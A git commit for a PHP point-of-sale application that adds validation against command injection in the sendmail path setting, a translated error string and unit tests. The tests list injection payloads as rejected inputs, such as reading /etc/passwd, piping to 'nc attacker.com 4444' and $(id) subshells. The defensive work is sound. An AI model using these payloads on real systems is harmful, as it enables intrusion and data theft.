fix(security): prevent command injection in sendmail path configuration

Add validation for the mailpath POST parameter to prevent command injection
attacks. The path is validated to only allow alphanumeric characters,
underscores, dashes, forward slashes, and dots.

- Required mailpath when protocol is "sendmail"
- Validates format for all non-empty mailpath values
- Blocks common injection vectors: ; | & ` $() spaces newlines
- Added mailpath_invalid translation to all 43 language files
- Simplified validation logic to avoid redundant conditions

Files changed:
- app/Controllers/Config.php: Add regex validation with protocol check
- app/Language/*/Config.php: Add mailpath_invalid error message (43 languages)
- tests/Controllers/ConfigTest.php: Unit tests for validation
This commit is contained in:
Ollama
2026-04-05 21:46:46 +00:00
committed by jekkos
parent 0e9f4a998d
commit 8da4aff262
44 changed files with 280 additions and 2 deletions

View File

@@ -504,9 +504,24 @@ class Config extends Secure_Controller
$password = $this->encrypter->encrypt($this->request->getPost('smtp_pass'));
}
$protocol = $this->request->getPost('protocol');
$mailpath = $this->request->getPost('mailpath');
// Validate mailpath: required for sendmail, optional for others but must be safe if provided
$isMailpathRequired = ($protocol === 'sendmail');
$isMailpathProvided = !empty($mailpath);
$isMailpathValid = $isMailpathProvided && preg_match('/^[a-zA-Z0-9_\-\/.]+$/', $mailpath);
if (($isMailpathRequired && !$isMailpathProvided) || ($isMailpathProvided && !$isMailpathValid)) {
return $this->response->setJSON([
'success' => false,
'message' => lang('Config.mailpath_invalid')
]);
}
$batch_save_data = [
'protocol' => $this->request->getPost('protocol'),
'mailpath' => $this->request->getPost('mailpath'),
'protocol' => $protocol,
'mailpath' => $mailpath,
'smtp_host' => $this->request->getPost('smtp_host'),
'smtp_user' => $this->request->getPost('smtp_user'),
'smtp_pass' => $password,

View File

@@ -282,6 +282,7 @@ return [
"right" => "يمين",
"sales_invoice_format" => "شكل فاتورة البيع",
"sales_quote_format" => "شكل فاتورة عرض الاسعار",
"mailpath_invalid" => "",
"saved_successfully" => "تم حفظ التهيئة بنجاح.",
"saved_unsuccessfully" => "لم يتم حفظ التهيئة بنجاح.",
"security_issue" => "تحذير من ثغرة أمنية",

View File

@@ -282,6 +282,7 @@ return [
"right" => "يمين",
"sales_invoice_format" => "شكل فاتورة البيع",
"sales_quote_format" => "شكل فاتورة عرض الاسعار",
"mailpath_invalid" => "",
"saved_successfully" => "تم حفظ التهيئة بنجاح.",
"saved_unsuccessfully" => "لم يتم حفظ التهيئة بنجاح.",
"security_issue" => "تحذير من ثغرة أمنية",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Konfiqurasiya ugursuz oldu saxlanilmadi",
"sales_invoice_format" => "Satış Fatura Formatı",
"sales_quote_format" => "Satış Sitat Formati",
"mailpath_invalid" => "",
"saved_successfully" => "Konfiqurasiya uğurla saxlanıldı.",
"saved_unsuccessfully" => "Konfiqurasiyanı saxlamq mümkün olmadı.",
"security_issue" => "Təhlükəsizlik açığı xəbərdarlığı",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "",
"saved_successfully" => "Configuration save successful.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Desno",
"sales_invoice_format" => "Format fakture",
"sales_quote_format" => "Format navedene prodaje",
"mailpath_invalid" => "",
"saved_successfully" => "Konfiguracija je uspješno snimljena.",
"saved_unsuccessfully" => "Konfiguracija nije uspješno snimljena.",
"security_issue" => "Upozorenje o sigurnosnoj ranjivosti",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "",
"saved_successfully" => "Configuration save successful.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Format Verkaufsrechnung",
"sales_quote_format" => "",
"mailpath_invalid" => "Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.",
"saved_successfully" => "Einstellungen erfolgreich gesichert",
"saved_unsuccessfully" => "Einstellungen konnten nicht gesichert werden",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Rechts",
"sales_invoice_format" => "Format Verkaufsrechnung",
"sales_quote_format" => "Angebotsformat",
"mailpath_invalid" => "Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.",
"saved_successfully" => "Einstellungen erfolgreich gesichert.",
"saved_unsuccessfully" => "Einstellungen konnten nicht gesichert werden.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.",
"saved_successfully" => "Configuration saved successfully.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.",
"saved_successfully" => "Configuration save successful.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Derecha",
"sales_invoice_format" => "Formato de Facturas de Venta",
"sales_quote_format" => "Formato de presupuesto de las ventas",
"mailpath_invalid" => "Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.",
"saved_successfully" => "Configuración guardada satisfactoriamente.",
"saved_unsuccessfully" => "Configuración no guardada.",
"security_issue" => "Advertencia de vulnerabilidad de seguridad",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.",
"saved_successfully" => "Configuration save successful.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "درست",
"sales_invoice_format" => "قالب فاکتور فروش",
"sales_quote_format" => "قالب فروش قیمت",
"mailpath_invalid" => "",
"saved_successfully" => "پیکربندی ذخیره موفقیت آمیز است.",
"saved_unsuccessfully" => "ذخیره پیکربندی انجام نشد.",
"security_issue" => "هشدار آسیب پذیری امنیتی",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Droite",
"sales_invoice_format" => "Format de la facture de vente",
"sales_quote_format" => "Format de devis de vente",
"mailpath_invalid" => "Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, underscores, barres obliques et points sont autorisés.",
"saved_successfully" => "Configuration enregistrer avec succès.",
"saved_unsuccessfully" => "L'enregistrement de configuration a échoué.",
"security_issue" => "Avertissement de faille de sécurité",

View File

@@ -282,6 +282,7 @@ return [
"right" => "ימין",
"sales_invoice_format" => "תבנית חשבונית מכירות",
"sales_quote_format" => "תבנית חשבונית הצעת מחיר",
"mailpath_invalid" => "",
"saved_successfully" => "ההגדרות נשמרו בהצלחה.",
"saved_unsuccessfully" => "שמירת ההגדרות נכשלה.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Oblik fakture",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "Konfiguracija je uspješno snimljena",
"saved_unsuccessfully" => "Konfiguracija nije uspješno snimljena",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Jobb",
"sales_invoice_format" => "Eladási számla formátum",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "Beállítások sikeresen elmentve",
"saved_unsuccessfully" => "Beállítások mentése sikertelen",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Destra",
"sales_invoice_format" => "Formato Fattura di Vendita",
"sales_quote_format" => "Formato Preventivo",
"mailpath_invalid" => "Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre e punti.",
"saved_successfully" => "Configurazione salvata correttamente.",
"saved_unsuccessfully" => "Salvataggio Configurazione Fallito.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "",
"saved_successfully" => "Configuration save successful.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Rechts",
"sales_invoice_format" => "Formattering Aankoop #",
"sales_quote_format" => "Offerte formaat",
"mailpath_invalid" => "Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.",
"saved_successfully" => "Configuratie werd bewaard.",
"saved_unsuccessfully" => "Configuratie kon niet worden bewaard.",
"security_issue" => "Waarschuwing voor Veiligheidslek",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Rechts",
"sales_invoice_format" => "Indeling verkoopfactuur",
"sales_quote_format" => "Indeling verkoopofferte",
"mailpath_invalid" => "Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.",
"saved_successfully" => "Configuratie opgeslagen.",
"saved_unsuccessfully" => "Configuratie opslaan mislukt.",
"security_issue" => "Beveilingskwetsbaarheid waarschuwing",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Direita",
"sales_invoice_format" => "Formato da Fatura de Vendas",
"sales_quote_format" => "Formato de cotação de vendas",
"mailpath_invalid" => "Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras e pontos são permitidos.",
"saved_successfully" => "Configuração salva com sucesso.",
"saved_unsuccessfully" => "Configuração não salva.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Справа",
"sales_invoice_format" => "Формат накладной для продаж",
"sales_quote_format" => "Формат предложений на продажу",
"mailpath_invalid" => "Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчеркивания, слеши и точки.",
"saved_successfully" => "Конфигурация успешно сохранена.",
"saved_unsuccessfully" => "Произошла ошибка при сохранении конфигурации.",
"security_issue" => "Предупреждение об уязвимости системы безопасности",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Höger",
"sales_invoice_format" => "Försäljningsfakturaformat",
"sales_quote_format" => "Försäljningsquotaformat",
"mailpath_invalid" => "",
"saved_successfully" => "Konfigurationen sparades.",
"saved_unsuccessfully" => "Konfigurationsbesparingen misslyckades.",
"security_issue" => "Varning för säkerhetsrisker",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Kulia",
"sales_invoice_format" => "Muundo wa Ankara ya Mauzo",
"sales_quote_format" => "Muundo wa Nukuu ya Mauzo",
"mailpath_invalid" => "",
"saved_successfully" => "Mpangilio umehifadhiwa kwa mafanikio.",
"saved_unsuccessfully" => "Mpangilio umeshindwa kuhifadhiwa.",
"security_issue" => "Onyo la Udhaifu wa Usalama",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Kulia",
"sales_invoice_format" => "Muundo wa Ankara ya Mauzo",
"sales_quote_format" => "Muundo wa Nukuu ya Mauzo",
"mailpath_invalid" => "",
"saved_successfully" => "Mpangilio umehifadhiwa kwa mafanikio.",
"saved_unsuccessfully" => "Mpangilio umeshindwa kuhifadhiwa.",
"security_issue" => "Onyo la Udhaifu wa Usalama",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "",
"saved_successfully" => "Configuration save successful.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "ถูกต้อง",
"sales_invoice_format" => "รหัสใบเสร็จ",
"sales_quote_format" => "รูปแบบใบเสนอราคาขาย",
"mailpath_invalid" => "",
"saved_successfully" => "บันทึกข้อมูลร้านค้าเรียบร้อยแล้ว",
"saved_unsuccessfully" => "บันทึกข้อมูลร้านค้าไม่สำเร็จ",
"security_issue" => "คำเตือนช่องโหว่ด้านความปลอดภัย",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "Sales Quote Format",
"mailpath_invalid" => "",
"saved_successfully" => "Configuration save successful.",
"saved_unsuccessfully" => "Configuration save failed.",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Sağ",
"sales_invoice_format" => "Satış Fatura Biçimi",
"sales_quote_format" => "Satış Teklif Biçimi",
"mailpath_invalid" => "",
"saved_successfully" => "Yapılandırma kaydedildi.",
"saved_unsuccessfully" => "Yapılandırma kaydedilemedi.",
"security_issue" => "Güvenlik Arıklığı Uyarısı",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Право",
"sales_invoice_format" => "Формат рахунків-фактур продажів",
"sales_quote_format" => "Формат котирування продажів",
"mailpath_invalid" => "",
"saved_successfully" => "Конфігурація успішно збережена",
"saved_unsuccessfully" => "Помилка збереження конфігурації",
"security_issue" => "Попередження про вразливість системи безпеки",

View File

@@ -282,6 +282,7 @@ return [
"right" => "",
"sales_invoice_format" => "",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "",
"saved_unsuccessfully" => "",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Phải",
"sales_invoice_format" => "Định dạng Hóa đơn bán hàng",
"sales_quote_format" => "Định dạng Báo giá bán hàng",
"mailpath_invalid" => "",
"saved_successfully" => "Cấu hình được lưu thành công.",
"saved_unsuccessfully" => "Gặp lỗi khi lưu cấu hình.",
"security_issue" => "Cảnh báo về lỗ hổng bảo mật",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "Sales Invoice Format",
"sales_quote_format" => "",
"mailpath_invalid" => "",
"saved_successfully" => "組態設置儲存成功",
"saved_unsuccessfully" => "組態設置儲存失敗",
"security_issue" => "Security Vulnerability Warning",

View File

@@ -282,6 +282,7 @@ return [
"right" => "Right",
"sales_invoice_format" => "銷售發票格式",
"sales_quote_format" => "銷售報價格式",
"mailpath_invalid" => "",
"saved_successfully" => "組態設置儲存成功.",
"saved_unsuccessfully" => "組態設置儲存失敗.",
"security_issue" => "安全漏洞警告",

View File

@@ -0,0 +1,221 @@
<?php
namespace Tests\Controllers;
use CodeIgniter\Test\CIUnitTestCase;
use CodeIgniter\Test\DatabaseTestTrait;
use CodeIgniter\Test\FeatureTestTrait;
use CodeIgniter\Config\Services;
class ConfigTest extends CIUnitTestCase
{
use DatabaseTestTrait;
use FeatureTestTrait;
protected $migrate = true;
protected $migrateOnce = true;
protected $refresh = false;
protected $namespace = null;
protected function setUp(): void
{
parent::setUp();
}
protected function resetSession(): void
{
$session = Services::session();
$session->destroy();
$session->set('person_id', 1);
$session->set('menu_group', 'office');
}
// ========== Valid Mailpath Tests ==========
public function testValidMailpath_AcceptsStandardPath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testValidMailpath_AcceptsPathWithDots(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/local/bin/sendmail.local'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testValidMailpath_AcceptsEmptyStringForNonSendmailProtocol(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'mail',
'mailpath' => ''
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertTrue($result['success']);
}
public function testSendmailProtocol_RequiresMailpath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => ''
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
$this->assertStringContainsString('invalid', strtolower($result['message']));
}
public function testNonSendmailProtocol_RejectsMaliciousMailpath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'smtp',
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
$this->assertStringContainsString('invalid', strtolower($result['message']));
}
// ========== Command Injection Prevention Tests ==========
public function testMailpath_RejectsCommandInjection_Semicolon(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
$this->assertStringContainsString('invalid', strtolower($result['message']));
}
public function testMailpath_RejectsCommandInjection_Pipe(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_And(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail && whoami'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Backtick(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/`whoami`'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Subshell(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail$(id)'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_SpaceInPath(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/sendmail -t -i'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_Newline(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => "/usr/sbin/sendmail\n/bin/bash"
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
public function testMailpath_RejectsCommandInjection_DollarSign(): void
{
$this->resetSession();
$response = $this->post('/config/saveEmail', [
'protocol' => 'sendmail',
'mailpath' => '/usr/sbin/$SENDMAIL'
]);
$response->assertStatus(200);
$result = json_decode($response->getJSON(), true);
$this->assertFalse($result['success']);
}
}